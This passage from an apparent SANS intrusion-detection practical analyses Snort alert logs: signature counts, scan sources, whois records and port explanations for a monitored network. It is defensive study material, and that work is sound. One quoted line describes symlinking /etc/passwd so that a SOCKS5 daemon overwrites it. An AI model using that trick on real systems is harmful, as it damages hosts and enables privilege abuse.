Mar	1, 2, 3, 4, 5, 6, 7, 9, 10, 12

Alerts were logged on the following days:

Month	Dates
Jan	30, 31
Feb	3, 4, 5, 6, 7, 11, 12
Mar	-

OOS alerts were logged on the following days:

Month	Dates
Jan	20, 21, 23, 31
Feb	1, 2, 4, 5, 6, 8, 9, 10, 11, 12, 13

3.4.2 Alert Type and Frequencies

The following information is taken from the SnortSnarf report on Alert logs.

Signature	Number of Alerts
UDP SRC and DST outside network	176865
Watchlist 000220 IL-ISDNNET-990517	6849
Watchlist 000222 NET-NCFC	5396
Possible RAMEN server activity	3842
SYN-FIN scan!	2221
connect to 515 from inside	649
Attempted Sun RPC high port access	507
Queso fingerprint	248
WinGate 1080 Attempt	221
Tiny Fragments - Possible Hostile Activity	112

Null scan!	82
TCP SRC and DST outside network	68
ICMP SRC and DST outside network	21
NMAP TCP ping!	13
SNMP public access	5
TCP SMTP Source Port traffic	4
SUNRPC highport access!	4
Russia Dynamo - SANS Flash 28-jul-00	1

3.4.3 Signature Details

UDP SRC and DST outside network.

Scans with UDP SRC and destinations outside the network may signify that the packets have been crafted/spoofed. Looking through the logs I have been able to identify the following:

- lot of multicast traffic (224.2.127.254:9875)
- traffic originating from non-routable address ranges
- some legitimate traffic.

The multicast traffic appears to relate to SAPv1 Announcements.
The traffic with non-routable addresses is most likely spoofed.

The following table shows the top talkers

Source	Number of Alerts	Number of Destinations	nslookup
155.101.21.38	37061	1	bonfire.crsim.utah.edu
130.235.133.92	15845	1	Does not resolve
171.69.248.71	13103	1	tower-u1.cisco.com
129.116.65.3	9084	1	vbrick1.ots.utexas.edu
128.223.83.33	8064	1	iptvhost.uoregon.edu

Watchlist 000220 IL-ISDNNET-990517.

Watch lists have been set up to monitor traffic from suspicious networks. This watchlist monitors traffic from an Israeli ISP Bezeq International (ISDN.NET.IL)

The following table shows the top talkers

Source	Number of Alerts	Number of Destinations	Nslookup
212.179.21.179	4372	1	Does not resolve
212.179.47.83	544	1	fr-c47083.bezeqint.net
212.179.79.2	539	6	Does not resolve
212.179.58.193	520	1	Does not resolve
212.179.42.21	321	1	Does not resolve

Note: it is recommended that the network be scrutinised for Napster clients, because many of these alerts showed use of the port 6699 which is associated with Napster.

The results from the whois are shown below:

```
route:       212.179.0.0/17
descr:       ISDN Net Ltd.
origin:      AS8551
notify:      hostmaster@isdn.net.il
mnt-by:      AS8551-MNT
changed:     hostmaster@isdn.net.il 19990610
source:      RIPE

person:      Nati Pinko
address:     Bezeq International
address:     40 Hashacham St.
address:     Petach Tikvah  Israel
phone:       +972 3 9257761
e-mail:      hostmaster@isdn.net.il
nic-hdl:     NP469-RIPE
changed:     registrar@ns.il 19990902
source:      RIPE
```

Watchlist 000222 NET-NCFC.

Watch lists have been set up to monitor traffic from suspicious networks. This watchlist monitors traffic from the Computer Network Center Chinese Academy of Sciences. Typically, a watchlist ruleset is created to watch a network that has had a history of problems with internal security.

The following table shows the top talkers

Source	Number of Alerts	Number of Destinations	nslookup
159.226.81.1	5362	2	Does not resolve
159.226.114.1	8	2	Does not resolve
159.226.39.4	6	2	Does not resolve
159.226.111.1	4	1	Does not resolve
159.226.92.10	2	1	Does not resolve

The results from the whois are shown below:

The Computer Network Center Chinese Academy of Sciences (NET-NCFC)
P.O. Box 2704-10,
Institute of Computing Technology Chinese Academy of Sciences
Beijing 100080, China

Netname: NCFC
Netblock: 159.226.0.0 - 159.226.255.255

Coordinator:
Qian, Haulin (QH3-ARIN) hlqian@NS.CNC.AC.CN
+86 1 2569960

Possible RAMEN server activity.

The scans that raised alerts were destined for TCP 27374. This port is the default port used by the Sub 7 v2.1 Trojan.

The following table shows the top talkers

Source	Number of Alerts	Number of Destinations	nslookup
24.48.226.183	1819	1809	pa-southhills2a-695.pit.adelphia.net
MY.NET.253.12	530	530	-
MY.NET.225.66	60	14	-
MY.NET.217.202	30	10	-
MY.NET.223.42	20	5	-

The following table shows the top talkers

Destinations	Number Alerts (sig)	Number of Alerts (total)	Number of Destinations (sig)	Number of Destinations (total)	nslookup
24.48.226.183	1074	1074	1020	1020	pa-southhills2a-695.pit.adelphia.net
MY.NET.225.66	36	39	10	11	-
MY.NET.217.202	22	23	8	9	-
24.48.121.105	15	15	1	1	Does not resolve
MY.NET.227.94	12	12	4	4	-

Note: Popular destinations should be reviewed by system administrators as this may be a strong indication that the hosts have been compromised.

SYN-FIN Scan.

TCP probes sennt with the SYN+FIN flags set in the header indicates that this traffic is likely to be part of a single-packet OS detection techniques and constitutes part of a pre-attack probe. This type of packet does not occur naturally as it is not part of a standard TCP handshake, communication, or session tear down. [ref 13]

Syn-Fin scans accounted for over 2000 logged entires. The following table shows the top-talkers:

Top Talkers	Alerts triggered	Destination IP	TCP Port Scanned	Source Port	nslookup
211.248.112.67	2216	Thousands of hosts on the MY.NET network in all different subnets.	53 (DNS)	53	Does not resolve
63.252.15.242	2	MY.NET.5.29	443 (HTTPS)	2754	A010-0496.ABDN.splitrock.net
24.50.25.5	1	MY.NET.211.122	1415 (DBStar)	6699	fl-wellu1-c6-5.pbc.adelphia.net
4.35.4.244	1	MY.NET.211.74	6346	1837	evrtwa1-ar4-004-244.elnk.dsl.gtei.net
209.255.180.130	1	MY.NET.5.29	259 (FireWall-1 Authentication)	32808	A010-0384.LAUR.splitrock.net

Explanation of Ports scanned:
TCP 53:
This is the DNS TCP port which is used for zone transfers and as such communication on this service should be done from authorised hosts only. This source IP is registered somewhere in the Korean Network Information Centre. Since this IP does not resolve properly, it is assumed that the activity is definitely suspicious. Since so many hosts have been set as the destination of this scan, it is likely that this was an attempt as fingerprinting the hosts on the network. The source IP should be tracked down for further investigation and the network logs scrutinised for other traffic from this host.

Firewall and router policies should be reviewed to ensure that only legitimate traffic can occur on this port.

Port 443:
Port 443 is the HTTP over SSL port (HTTPS). Traffic is generally allowed into networks to communicate with webservers on this port. Since there is only one scan of this type it is most likely not such a serious scan.

Port 1415:
DBStar is the first open-source embeddable database for Information Appliance applications. The scan could be network recon

Port 6346:
Port 6346 is synonymous with a GNUtella. Gnutella is a fully-distributed information-sharing technology which runs on the Gnutella network. A scan on

this port could therefore be looking for hosts that participate on Gnutella. This scan should be treated seriously as the prober may be trying to map which hosts respond to stimulation on this port and then launch an attack on them. [14]

Port 259:
Prt 259 is used by Check Point FireWall-1 for user authentication. This port should therefore only be used by authorised clients.
The source of this scan resolves to: A010-0384.LAUR.splitrock.net.

Connect to 515 from inside

The rule that generated connect to 515 from inside alerts is a rule that watches for internal hosts looking for open lpd printing service ports.

According to the *CERT® Advisory CA-2000-22 Input Validation Problems in LPRng* (http://www.cert.org/advisories/CA-2000-22.html),

> A popular replacement software package to the BSD lpd printing service called LPRng contains at least one software defect, known as a "format string vulnerability,"which may allow remote users to execute arbitrary code on vulnerable systems

SANS has also issued an alert for port 515 scans at http://www.sans.org/newlook/alerts/port515.htm

Scans to port 515 are indicative of attackers looking for systems with open LPRng ports.

The following tables show the top talkers:

Source	Number of Alerts	Number of Destination
MY.NET.98.190	514	1
MY.NET.97.88	118	1
MY.NET.7.20	15	1
MY.NET.162.71	1	1
MY.NET.201.170	1	1

Destinations	Number of Alerts	Number of Destinations	nslookup
216.181.129.185	632	2	Does not resolve
216.88.97.58	15	1	bb2h58.coserv.net
209.50.66.2	1	1	Does not resolve
209.249.182.79	1	1	hmotteler.dsl.patriot.net

Attempted Sun RPC high port access

Attempted Sun RPC high port access are generated when a remote IP attempts to contact an internal server on a high port commonly used by Remote

Procedure Calls. Access to Remote Procedure Call ports should be monitored carefully. Access from the Internet should not be allowed unless very strict controls are in place. Many attacks on RPC's are in use to crack systems (see http://www.sans.org/infosecFAQ/cmsd.htm for the rpc.cmsd example.

Source	Number of Alerts	Number of Destinations	Nslookup
64.244.10.40	362	1	y0u.g0t.sh0t.sh00ting.0n.d0t.net
205.188.153.97	134	1	fes-d001.icq.aol.com
205.188.153.108	6	1	fes-d012.icq.aol.com
205.188.153.107	5	1	fes-d011.icq.aol.com

Note: the resolved name of the first IP looks very suspicious

Destinations	Number of Alerts (sig)	Number of Alerts (total)	Number of Destinations (sig)	Number of Destinations (total)
MY.NET.223.254	362	362	1	1
MY.NET.221.246	134	136	1	2
MY.NET.105.115	6	6	1	1
MY.NET.97.217	5	5	1	1
MY.NET.223.254	362	362	1	1

WinGate 1080 Attempt

Attempts to port 1080 may be scanners looking for open SOCKS ports. The SOCKS protocol allows users to proxy requests through a proxy servers.

Wingate is a tool which allows multiple computers to simultaneously share a single Internet connection. It is a SOCKS based application and has had many vulnerabilities in the past.

> A notoriously insecure package that provides telnet redirection among other bad things...Scanning on port 1080 seems to be possibly looking for a telnet redirector (as per Wingate). With the Wingate package, apparently only certain more expensive versions of the package allow for user authentication.
> This could also be looking for other services proxied through SOCKS. One security report regarding systems running NEC's Socks5 beta-0.17.2. When running socks5 on port 1080 the daemon writes it's PID to /tmp/socks5.pid. If this file does not exist, one could symlink e.g. /etc/passwd to it and have it overwritten when socks5 starts up. (Taken from www.safenetwork.com/Linux/socks.html) [ref 15]

Although there were only 221 alerts, these wingate scans should be considered very serious, with all the scans directed to hosts in the MY.NET network.

The following shows the most active sources for this scan.

Source	Number of Alerts
24.1.201.200	29
128.121.244.217	23
199.173.178.2	20
216.179.0.32	18
204.117.70.5	14

The following shows the most active destinations

Destinations	Number of Alerts
10.123.221.30	29
10.123.15.178	23
10.123.98.118	14
10.123.60.8	10
10.123.203.234	10

The following top talkers were discovered in the OOS files:

2108	MY.NET.217.150
73	MY.NET.98.130
64	MY.NET.98.166
49	MY.NET.98.174
46	MY.NET.98.178
38	MY.NET.98.129
37	MY.NET.98.195
32	MY.NET.98.202
30	MY.NET.201.38
27	MY.NET.203.178
26	MY.NET.204.146
26	MY.NET.97.89
17	MY.NET.220.102
11	MY.NET.203.102
8	MY.NET.210.250
7	MY.NET.98.127
6	MY.NET.204.82 MY.NET.207.158
5	MY.NET.211.26 MY.NET.217.190 MY.NET.228.22
4	MY.NET.210.66 MY.NET.98.201 MY.NET.97.77
3	MY.NET.221.202 MY.NET.226.38

	MY.NET.98.244
2	MY.NET.202.190 MY.NET.208.18 MY.NET.209.238 MY.NET.212.38 MY.NET.219.18 MY.NET.225.194 MY.NET.97.41
1	MY.NET.153.237 MY.NET.181.131 MY.NET.201.62 MY.NET.202.18 MY.NET.202.222 MY.NET.203.142 MY.NET.203.18 MY.NET.203.78 MY.NET.205.102 MY.NET.205.194 MY.NET.205.226 MY.NET.206.230 MY.NET.206.58 MY.NET.207.38 MY.NET.208.130 MY.NET.210.82 MY.NET.211.62 MY.NET.213.250 MY.NET.218.86 MY.NET.219.74 MY.NET.220.194 MY.NET.222.10 MY.NET.222.62 MY.NET.227.26 MY.NET.228.130 MY.NET.97.191 MY.NET.97.216 MY.NET.98.147 MY.NET.98.161 MY.NET.98.196

List of References

[1] Kbeta Security Web http://www.kbeta.com/attacklist/FTP_Root.htm (1 April 2001).

[2] Svet Namodro. http://svet.namodro.cz/go/r-art.asp?id=1000817375 (17 August 2000.) (re-visited 2 April 2001)

[3] Roelof Temmingh <roelof@sensepost.com> Perl code for Translate-f Vulnerability trans.pl. Downloaded from securityfocus.com [15 Feb 2001]

[4] eEye – Digital Security, IIS ASP $19.95 hack – IISHack 1.5, http://www.eeye.com/html/Research/Advisories/IISHack1.5.html

[5] Security Focus, IIS Vulnerabilities section, "2000-11-06: Microsoft IIS 4.0 ISAPI Buffer Overflow Vulnerability", http://securityfocus.com/ [released November 6, 2000]

[6] Microsoft Security Bulletin MS00-078, "Web Server Folder Traversal" Vulnerability, http://www.microsoft.com/technet/security/bulletin/MS00-078.asp [released Oct 17, 2000]

[7] Security Focus, IIS Vulnerabilities section, "2000-10-17: Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability", http://securityfocus.com/ [released Oct 17, 2000]

[8] Extracts of the "C" code released by eEye Digital Security for the IIShack 1.5 exploit. http://www.eeye.com/html/Research/Advisories/IISHack1.5.html

[9] Microsoft Security Bulletin MS00-057, "File Permission Canonicalization" Vulnerability, "http://www.microsoft.com/technet/security/bulletin/MS00-057.asp [released August 10, 2000]

[10] Microsoft Security Bulletin MS00-080, "Session ID Cookie Marking" Vulnerability, http://www.microsoft.com/TechNet/security/bulletin/MS00-080.asp, [released October 23, 2000 and update November 20, 2000]

[11] SnortSnarf, Snort Log Data Review Tool. Hoagland, James and Staniford Stewart. http://www.silicondefense.com/software/snortsnarf.

[12] Zeltser, Lenny. "Practical Assignment for SANS Security DC 2000", http://www.sans.org/giactc/cert.htm or http://www.zeltser.com/sans/practical/ and tools available from http://www.zeltser.com/sans/practical/correlate.zip [August 2000], [visited during April 2001]

[13] Whitehats.com, SYN-FIN Scan information, http://www.whitehats.com/info/IDS198 [Modified 2000/10/16]

[14] What is Gnutella, http://gnutella.wego.com.

[15] SANS IDS Frequently Asked Questions. "What do people mean by Socks" http://www.sans.org/newlook/resources/IDFAQ/socks.htm